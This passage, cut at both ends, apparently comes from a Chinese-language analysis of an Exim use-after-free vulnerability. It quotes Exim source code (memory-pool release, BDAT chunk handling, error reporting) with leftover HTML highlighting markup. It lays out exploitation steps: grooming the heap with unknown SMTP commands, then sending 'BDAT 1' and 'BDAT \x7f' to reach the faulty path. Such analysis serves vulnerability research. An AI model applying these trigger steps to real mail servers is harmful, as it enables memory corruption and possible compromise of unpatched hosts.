class="kwd">const</span><span class="pln"> </span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*</span><span class="pln">filename</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> linenumber</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pun">{</span></code></li><li class="L9"><code><span class="pln">storeblock </span><span class="pun">*</span><span class="pln">b</span><span class="pun">;</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="com">/* It will never be the first block, so no need to check that. */</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">=</span><span class="pln"> chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">];</span><span class="pln"> b </span><span class="pun">!=</span><span class="pln"> NULL</span><span class="pun">;</span><span class="pln"> b </span><span class="pun">=</span><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">)</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pln"> storeblock </span><span class="pun">*</span><span class="pln">bb </span><span class="pun">=</span><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">bb </span><span class="pun">!=</span><span class="pln"> NULL </span><span class="pun">&&</span><span class="pln"> CS block </span><span class="pun">==</span><span class="pln"> CS bb </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> bb</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> pool_malloc </span><span class="pun">-=</span><span class="pln"> bb</span><span class="pun">-></span><span class="pln">length </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">;</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln"> </span><span class="com">/* Cut out the debugging stuff for utilities, but stop picky compilers</span></code></li><li class="L2"><code><span class="com"> from giving warnings. */</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln"> </span><span class="com">#ifdef</span><span class="pln"> COMPILE_UTILITY</span></code></li><li class="L5"><code><span class="pln"> filename </span><span class="pun">=</span><span class="pln"> filename</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> linenumber </span><span class="pun">=</span><span class="pln"> linenumber</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln"> </span><span class="com">#else</span></code></li><li class="L8"><code><span class="pln"> DEBUG</span><span class="pun">(</span><span class="pln">D_memory</span><span class="pun">)</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">running_in_test_harness</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"-Release %d\n"</span><span class="pun">,</span><span class="pln"> pool_malloc</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L3"><code><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"-Release %6p %-20s %4d %d\n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)</span><span class="pln">bb</span><span class="pun">,</span><span class="pln"> filename</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> linenumber</span><span class="pun">,</span><span class="pln"> pool_malloc</span><span class="pun">);</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">running_in_test_harness</span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln"> memset</span><span class="pun">(</span><span class="pln">bb</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0xF0</span><span class="pun">,</span><span class="pln"> bb</span><span class="pun">-></span><span class="pln">length</span><span class="pun">+</span><span class="pln">ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln"> </span><span class="com">#endif</span><span class="pln"> </span><span class="com">/* COMPILE_UTILITY */</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln"> free</span><span class="pun">(</span><span class="pln">bb</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">return</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L4"><code><span class="pun">}</span></code></li></ol>UAF漏洞所涉及的关键函数:
- store_get_3 堆分配
- store_extend_3 堆扩展
- store_release_3 堆释放
还有4个重要的全局变量:
- chainbase
- next_yield
- current_block
- yield_length
第一步
发送一堆未知的命令去调整
yield_length
的值,使其小于0x100。yield_length
表示的是堆还剩余的长度,每次命令的处理使用的是src/receive.c代码中的receive_msg
函数在该函数处理用户输入的命令时,使用
next->text
来储存用户输入,在1709行进行的初始化:1<ol class="linenums"><li class="L0"><code><span class="lit">1625</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> header_size </span><span class="pun">=</span><span class="pln"> </span><span class="lit">256</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pun">......</span></code></li><li class="L2"><code><span class="lit">1709</span><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">header_size</span><span class="pun">);</span></code></li></ol>在执行1709行代码的时候,如果
0x100 > yield_length
则会执行到newblock = store_malloc(mlength);
,使用glibc的malloc申请一块内存,为了便于之后的描述,这块内存我们称为heap1。根据
store_get_3
中的代码,这个时候:- current_block->next = heap1 (因为之前current_block==chainbase,所以这相当于是chainbase->next = heap1)
- current_block = heap1
- yield_length = 0x2000
- next_yield = heap1+0x10
- return next_yield
- next_yield = next_yield+0x100 = heap1+0x110
- yield_length = yield_length - 0x100 = 0x1f00
第二步
发送
BDAT 1
,进入receive_msg
函数,并且让receive_getc
变为bdat_getc
第三步
发送
BDAT \x7f
相关代码在src/smtp_in.c中的
bdat_getc
函数:1<ol class="linenums"><li class="L0"><code><span class="kwd">int</span></code></li><li class="L1"><code><span class="pln">bdat_getc</span><span class="pun">(</span><span class="kwd">unsigned</span><span class="pln"> lim</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pun">{</span></code></li><li class="L3"><code><span class="pln">uschar </span><span class="pun">*</span><span class="pln"> user_msg </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln">uschar </span><span class="pun">*</span><span class="pln"> log_msg</span><span class="pun">;</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="kwd">for</span><span class="pun">(;;)</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="com">#ifndef</span><span class="pln"> DISABLE_DKIM</span></code></li><li class="L9"><code><span class="pln"> BOOL dkim_save</span><span class="pun">;</span></code></li><li class="L0"><code><span class="com">#endif</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">chunking_data_left </span><span class="pun">></span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> lwr_receive_getc</span><span class="pun">(</span><span class="pln">chunking_data_left</span><span class="pun">--);</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="pln"> receive_getc </span><span class="pun">=</span><span class="pln"> lwr_receive_getc</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> receive_getbuf </span><span class="pun">=</span><span class="pln"> lwr_receive_getbuf</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln"> receive_ungetc </span><span class="pun">=</span><span class="pln"> lwr_receive_ungetc</span><span class="pun">;</span></code></li><li class="L8"><code><span class="com">#ifndef</span><span class="pln"> DISABLE_DKIM</span></code></li><li class="L9"><code><span class="pln"> dkim_save </span><span class="pun">=</span><span class="pln"> dkim_collect_input</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> dkim_collect_input </span><span class="pun">=</span><span class="pln"> FALSE</span><span class="pun">;</span></code></li><li class="L1"><code><span class="com">#endif</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln"> </span><span class="com">/* Unless PIPELINING was offered, there should be no next command</span></code></li><li class="L4"><code><span class="com"> until after we ack that chunk */</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">pipelining_advertised </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">!</span><span class="pln">check_sync</span><span class="pun">())</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">unsigned</span><span class="pln"> n </span><span class="pun">=</span><span class="pln"> smtp_inend </span><span class="pun">-</span><span class="pln"> smtp_inptr</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">n </span><span class="pun">></span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> n </span><span class="pun">=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">;</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln"> incomplete_transaction_log</span><span class="pun">(</span><span class="pln">US</span><span class="str">"sync failure"</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln"> log_write</span><span class="pun">(</span><span class="lit">0</span><span class="pun">,</span><span class="pln"> LOG_MAIN</span><span class="pun">|</span><span class="pln">LOG_REJECT</span><span class="pun">,</span><span class="pln"> </span><span class="str">"SMTP protocol synchronization error "</span></code></li><li class="L3"><code><span class="pln"> </span><span class="str">"(next input sent too soon: pipelining was not advertised): "</span></code></li><li class="L4"><code><span class="pln"> </span><span class="str">"rejected \"%s\" %s next input=\"%s\"%s"</span><span class="pun">,</span></code></li><li class="L5"><code><span class="pln"> smtp_cmd_buffer</span><span class="pun">,</span><span class="pln"> host_and_ident</span><span class="pun">(</span><span class="pln">TRUE</span><span class="pun">),</span></code></li><li class="L6"><code><span class="pln"> string_printing</span><span class="pun">(</span><span class="pln">string_copyn</span><span class="pun">(</span><span class="pln">smtp_inptr</span><span class="pun">,</span><span class="pln"> n</span><span class="pun">)),</span></code></li><li class="L7"><code><span class="pln"> smtp_inend </span><span class="pun">-</span><span class="pln"> smtp_inptr </span><span class="pun">></span><span class="pln"> n </span><span class="pun">?</span><span class="pln"> </span><span class="str">"..."</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> </span><span class="str">""</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">554</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L9"><code><span class="pln"> US</span><span class="str">"SMTP synchronization error"</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">goto</span><span class="pln"> repeat_until_rset</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln"> </span><span class="com">/* If not the last, ack the received chunk. The last response is delayed</span></code></li><li class="L4"><code><span class="com"> until after the data ACL decides on it */</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">chunking_state </span><span class="pun">==</span><span class="pln"> CHUNKING_LAST</span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="com">#ifndef</span><span class="pln"> DISABLE_DKIM</span></code></li><li class="L9"><code><span class="pln"> dkim_exim_verify_feed</span><span class="pun">(</span><span class="pln">NULL</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0</span><span class="pun">);</span><span class="pln"> </span><span class="com">/* notify EOD */</span></code></li><li class="L0"><code><span class="com">#endif</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> EOD</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln"> smtp_printf</span><span class="pun">(</span><span class="str">"250 %u byte chunk received\r\n"</span><span class="pun">,</span><span class="pln"> FALSE</span><span class="pun">,</span><span class="pln"> chunking_datasize</span><span class="pun">);</span></code></li><li class="L5"><code><span class="pln"> chunking_state </span><span class="pun">=</span><span class="pln"> CHUNKING_OFFERED</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> DEBUG</span><span class="pun">(</span><span class="pln">D_receive</span><span class="pun">)</span><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"chunking state %d\n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">int</span><span class="pun">)</span><span class="pln">chunking_state</span><span class="pun">);</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln"> </span><span class="com">/* Expect another BDAT cmd from input. RFC 3030 says nothing about</span></code></li><li class="L9"><code><span class="com"> QUIT, RSET or NOOP but handling them seems obvious */</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln">next_cmd</span><span class="pun">:</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">switch</span><span class="pun">(</span><span class="pln">smtp_read_command</span><span class="pun">(</span><span class="pln">TRUE</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pun">))</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">default</span><span class="pun">:</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">503</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L6"><code><span class="pln"> US</span><span class="str">"only BDAT permissible after non-LAST BDAT"</span><span class="pun">);</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln"> repeat_until_rset</span><span class="pun">:</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">switch</span><span class="pun">(</span><span class="pln">smtp_read_command</span><span class="pun">(</span><span class="pln">TRUE</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pun">))</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> QUIT_CMD</span><span class="pun">:</span><span class="pln"> smtp_quit_handler</span><span class="pun">(&</span><span class="pln">user_msg</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">log_msg</span><span class="pun">);</span><span class="pln"> </span><span class="com">/*FALLTHROUGH */</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> EOF_CMD</span><span class="pun">:</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> EOF</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> RSET_CMD</span><span class="pun">:</span><span class="pln"> smtp_rset_handler</span><span class="pun">();</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ERR</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">default</span><span class="pun">:</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">503</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L5"><code><span class="pln"> US</span><span class="str">"only RSET accepted now"</span><span class="pun">)</span><span class="pln"> </span><span class="pun">></span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> EOF</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">goto</span><span class="pln"> repeat_until_rset</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> QUIT_CMD</span><span class="pun">:</span></code></li><li class="L1"><code><span class="pln"> smtp_quit_handler</span><span class="pun">(&</span><span class="pln">user_msg</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">log_msg</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln"> </span><span class="com">/*FALLTHROUGH*/</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> EOF_CMD</span><span class="pun">:</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> EOF</span><span class="pun">;</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> RSET_CMD</span><span class="pun">:</span></code></li><li class="L7"><code><span class="pln"> smtp_rset_handler</span><span class="pun">();</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ERR</span><span class="pun">;</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> NOOP_CMD</span><span class="pun">:</span></code></li><li class="L1"><code><span class="pln"> HAD</span><span class="pun">(</span><span class="pln">SCH_NOOP</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln"> smtp_printf</span><span class="pun">(</span><span class="str">"250 OK\r\n"</span><span class="pun">,</span><span class="pln"> FALSE</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">goto</span><span class="pln"> next_cmd</span><span class="pun">;</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">case</span><span class="pln"> BDAT_CMD</span><span class="pun">:</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> n</span><span class="pun">;</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">sscanf</span><span class="pun">(</span><span class="pln">CS smtp_cmd_data</span><span class="pun">,</span><span class="pln"> </span><span class="str">"%u %n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">chunking_datasize</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">n</span><span class="pun">)</span><span class="pln"> </span><span class="pun"><</span><span class="pln"> </span><span class="lit">1</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">501</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L2"><code><span class="pln"> US</span><span class="str">"missing size for BDAT command"</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ERR</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L5"><code><span class="pln"> chunking_state </span><span class="pun">=</span><span class="pln"> strcmpic</span><span class="pun">(</span><span class="pln">smtp_cmd_data</span><span class="pun">+</span><span class="pln">n</span><span class="pun">,</span><span class="pln"> US</span><span class="str">"LAST"</span><span class="pun">)</span><span class="pln"> </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">?</span><span class="pln"> CHUNKING_LAST </span><span class="pun">:</span><span class="pln"> CHUNKING_ACTIVE</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln"> chunking_data_left </span><span class="pun">=</span><span class="pln"> chunking_datasize</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln"> DEBUG</span><span class="pun">(</span><span class="pln">D_receive</span><span class="pun">)</span><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"chunking state %d, %d bytes\n"</span><span class="pun">,</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">int</span><span class="pun">)</span><span class="pln">chunking_state</span><span class="pun">,</span><span class="pln"> chunking_data_left</span><span class="pun">);</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">chunking_datasize </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">chunking_state </span><span class="pun">==</span><span class="pln"> CHUNKING_LAST</span><span class="pun">)</span></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> EOD</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">504</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L7"><code><span class="pln"> US</span><span class="str">"zero size for BDAT command"</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">goto</span><span class="pln"> repeat_until_rset</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln"> receive_getc </span><span class="pun">=</span><span class="pln"> bdat_getc</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> receive_getbuf </span><span class="pun">=</span><span class="pln"> bdat_getbuf</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln"> receive_ungetc </span><span class="pun">=</span><span class="pln"> bdat_ungetc</span><span class="pun">;</span></code></li><li class="L4"><code><span class="com">#ifndef</span><span class="pln"> DISABLE_DKIM</span></code></li><li class="L5"><code><span class="pln"> dkim_collect_input </span><span class="pun">=</span><span class="pln"> dkim_save</span><span class="pun">;</span></code></li><li class="L6"><code><span class="com">#endif</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span><span class="pln"> </span><span class="com">/* to top of main loop */</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L1"><code><span class="pun">}</span></code></li></ol>BDAT命令进入下面这个分支:
1<ol class="linenums"><li class="L0"><code><span class="pln">f </span><span class="pun">(</span><span class="pln">sscanf</span><span class="pun">(</span><span class="pln">CS smtp_cmd_data</span><span class="pun">,</span><span class="pln"> </span><span class="str">"%u %n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">chunking_datasize</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">n</span><span class="pun">)</span><span class="pln"> </span><span class="pun"><</span><span class="pln"> </span><span class="lit">1</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">501</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L3"><code><span class="pln"> US</span><span class="str">"missing size for BDAT command"</span><span class="pun">);</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ERR</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">}</span></code></li></ol>因为
\x7F
所以sscanf获取长度失败,进入synprot_error
函数,该函数同样是位于smtp_in.c
文件中:1<ol class="linenums"><li class="L0"><code><span class="kwd">static</span><span class="pln"> </span><span class="kwd">int</span></code></li><li class="L1"><code><span class="pln">synprot_error</span><span class="pun">(</span><span class="kwd">int</span><span class="pln"> type</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> code</span><span class="pun">,</span><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">data</span><span class="pun">,</span><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">errmess</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pun">{</span></code></li><li class="L3"><code><span class="kwd">int</span><span class="pln"> </span><span class="kwd">yield</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="pun">-</span><span class="lit">1</span><span class="pun">;</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="pln">log_write</span><span class="pun">(</span><span class="pln">type</span><span class="pun">,</span><span class="pln"> LOG_MAIN</span><span class="pun">,</span><span class="pln"> </span><span class="str">"SMTP %s error in \"%s\" %s %s"</span><span class="pun">,</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">(</span><span class="pln">type </span><span class="pun">==</span><span class="pln"> L_smtp_syntax_error</span><span class="pun">)?</span><span class="pln"> </span><span class="str">"syntax"</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> </span><span class="str">"protocol"</span><span class="pun">,</span></code></li><li class="L7"><code><span class="pln"> string_printing</span><span class="pun">(</span><span class="pln">smtp_cmd_buffer</span><span class="pun">),</span><span class="pln"> host_and_ident</span><span class="pun">(</span><span class="pln">TRUE</span><span class="pun">),</span><span class="pln"> errmess</span><span class="pun">);</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(++</span><span class="pln">synprot_error_count </span><span class="pun">></span><span class="pln"> smtp_max_synprot_errors</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">yield</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> log_write</span><span class="pun">(</span><span class="lit">0</span><span class="pun">,</span><span class="pln"> LOG_MAIN</span><span class="pun">|</span><span class="pln">LOG_REJECT</span><span class="pun">,</span><span class="pln"> </span><span class="str">"SMTP call from %s dropped: too many "</span></code></li><li class="L3"><code><span class="pln"> </span><span class="str">"syntax or protocol errors (last command was \"%s\")"</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> host_and_ident</span><span class="pun">(</span><span class="pln">FALSE</span><span class="pun">),</span><span class="pln"> string_printing</span><span class="pun">(</span><span class="pln">smtp_cmd_buffer</span><span class="pun">));</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">code </span><span class="pun">></span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln"> smtp_printf</span><span class="pun">(</span><span class="str">"%d%c%s%s%s\r\n"</span><span class="pun">,</span><span class="pln"> FALSE</span><span class="pun">,</span><span class="pln"> code</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">yield</span><span class="pln"> </span><span class="pun">==</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> </span><span class="pun">?</span><span class="pln"> </span><span class="str">'-'</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> </span><span class="str">' '</span><span class="pun">,</span></code></li><li class="L0"><code><span class="pln"> data </span><span class="pun">?</span><span class="pln"> data </span><span class="pun">:</span><span class="pln"> US</span><span class="str">""</span><span class="pun">,</span><span class="pln"> data </span><span class="pun">?</span><span class="pln"> US</span><span class="str">": "</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> US</span><span class="str">""</span><span class="pun">,</span><span class="pln"> errmess</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">yield</span><span class="pln"> </span><span class="pun">==</span><span class="pln"> </span><span class="lit">1</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pln"> smtp_printf</span><span class="pun">(</span><span class="str">"%d Too many syntax or protocol errors\r\n"</span><span class="pun">,</span><span class="pln"> FALSE</span><span class="pun">,</span><span class="pln"> code</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="kwd">return</span><span class="pln"> </span><span class="kwd">yield</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pun">}</span></code></li></ol>然后在
synprot_error
